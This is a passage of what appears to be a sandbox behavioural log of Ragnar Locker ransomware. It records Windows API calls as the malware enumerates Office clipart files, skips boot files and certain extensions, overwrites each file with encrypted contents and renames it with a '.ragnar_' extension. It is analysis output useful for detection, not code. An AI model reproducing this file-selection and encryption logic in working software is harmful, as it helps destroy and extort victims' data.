returned 1 [0080.040] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x212c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x212c, lpOverlapped=0x0) returned 1 [0080.040] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x212c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.040] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.040] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x212c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.040] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.040] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.040] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.040] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.041] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.041] GetProcessHeap () returned 0x580000 [0080.041] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.041] CloseHandle (hObject=0xf4) returned 1 [0080.041] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" [0080.041] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.ragnar_FD7BD9FC" [0080.041] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.041] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0080.041] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.041] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04235_.WMF" | out: lpString1="AN04235_.WMF") returned="AN04235_.WMF" [0080.041] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned=".WMF" [0080.041] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.041] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="autorun.inf") returned -1 [0080.041] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="boot.ini") returned -1 [0080.041] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="bootfont.bin") returned -1 [0080.041] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="bootsect.bak") returned -1 [0080.042] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="bootmgr") returned -1 [0080.042] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="bootmgr.efi") returned -1 [0080.042] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.042] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="desktop.ini") returned -1 [0080.042] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="iconcache.db") returned -1 [0080.042] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="ntldr") returned -1 [0080.042] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="ntuser.dat") returned -1 [0080.042] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.042] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="ntuser.ini") returned -1 [0080.042] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="thumbs.db") returned -1 [0080.042] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.042] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.042] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.042] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.042] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.042] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.042] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0080.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.042] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7804) returned 1 [0080.042] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.042] GetProcessHeap () returned 0x580000 [0080.042] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.042] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.044] VirtualAlloc (lpAddress=0x0, dwSize=0x1e7c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.044] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.044] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.044] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e7c, lpOverlapped=0x0) returned 1 [0080.045] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.045] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.045] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e7c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e7c, lpOverlapped=0x0) returned 1 [0080.045] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.045] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.046] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.046] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.046] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.046] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.046] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.046] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.046] GetProcessHeap () returned 0x580000 [0080.046] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.046] CloseHandle (hObject=0xf4) returned 1 [0080.046] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" [0080.046] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.ragnar_FD7BD9FC" [0080.046] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.047] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0080.047] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.047] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04267_.WMF" | out: lpString1="AN04267_.WMF") returned="AN04267_.WMF" [0080.047] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned=".WMF" [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="autorun.inf") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="boot.ini") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="bootfont.bin") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="bootsect.bak") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="bootmgr") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="bootmgr.efi") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="desktop.ini") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="iconcache.db") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="ntldr") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="ntuser.dat") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="ntuser.ini") returned -1 [0080.047] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="thumbs.db") returned -1 [0080.047] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.047] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.047] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.047] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.047] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.047] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.047] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0080.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.048] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7804) returned 1 [0080.048] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.048] GetProcessHeap () returned 0x580000 [0080.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.048] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.050] VirtualAlloc (lpAddress=0x0, dwSize=0x1e7c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.050] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e7c, lpOverlapped=0x0) returned 1 [0080.051] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.051] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.051] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e7c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e7c, lpOverlapped=0x0) returned 1 [0080.051] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.051] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.052] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.052] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.052] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.052] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.052] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.052] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.052] GetProcessHeap () returned 0x580000 [0080.052] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.052] CloseHandle (hObject=0xf4) returned 1 [0080.052] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" [0080.052] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.ragnar_FD7BD9FC" [0080.052] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.053] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0080.053] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.053] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04269_.WMF" | out: lpString1="AN04269_.WMF") returned="AN04269_.WMF" [0080.053] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned=".WMF" [0080.053] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.053] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="autorun.inf") returned -1 [0080.053] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="boot.ini") returned -1 [0080.053] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="bootfont.bin") returned -1 [0080.053] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="bootsect.bak") returned -1 [0080.053] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="bootmgr") returned -1 [0080.053] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="bootmgr.efi") returned -1 [0080.053] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.053] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="desktop.ini") returned -1 [0080.053] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="iconcache.db") returned -1 [0080.053] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="ntldr") returned -1 [0080.053] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="ntuser.dat") returned -1 [0080.054] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.054] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="ntuser.ini") returned -1 [0080.054] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="thumbs.db") returned -1 [0080.054] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.054] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.054] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.054] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.054] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.054] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.054] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0080.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.054] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2016) returned 1 [0080.054] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.054] GetProcessHeap () returned 0x580000 [0080.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.054] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.055] VirtualAlloc (lpAddress=0x0, dwSize=0x7e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.056] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.056] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.056] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7e0, lpOverlapped=0x0) returned 1 [0080.056] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.056] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.056] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7e0, lpOverlapped=0x0) returned 1 [0080.056] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.056] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.056] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.056] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, 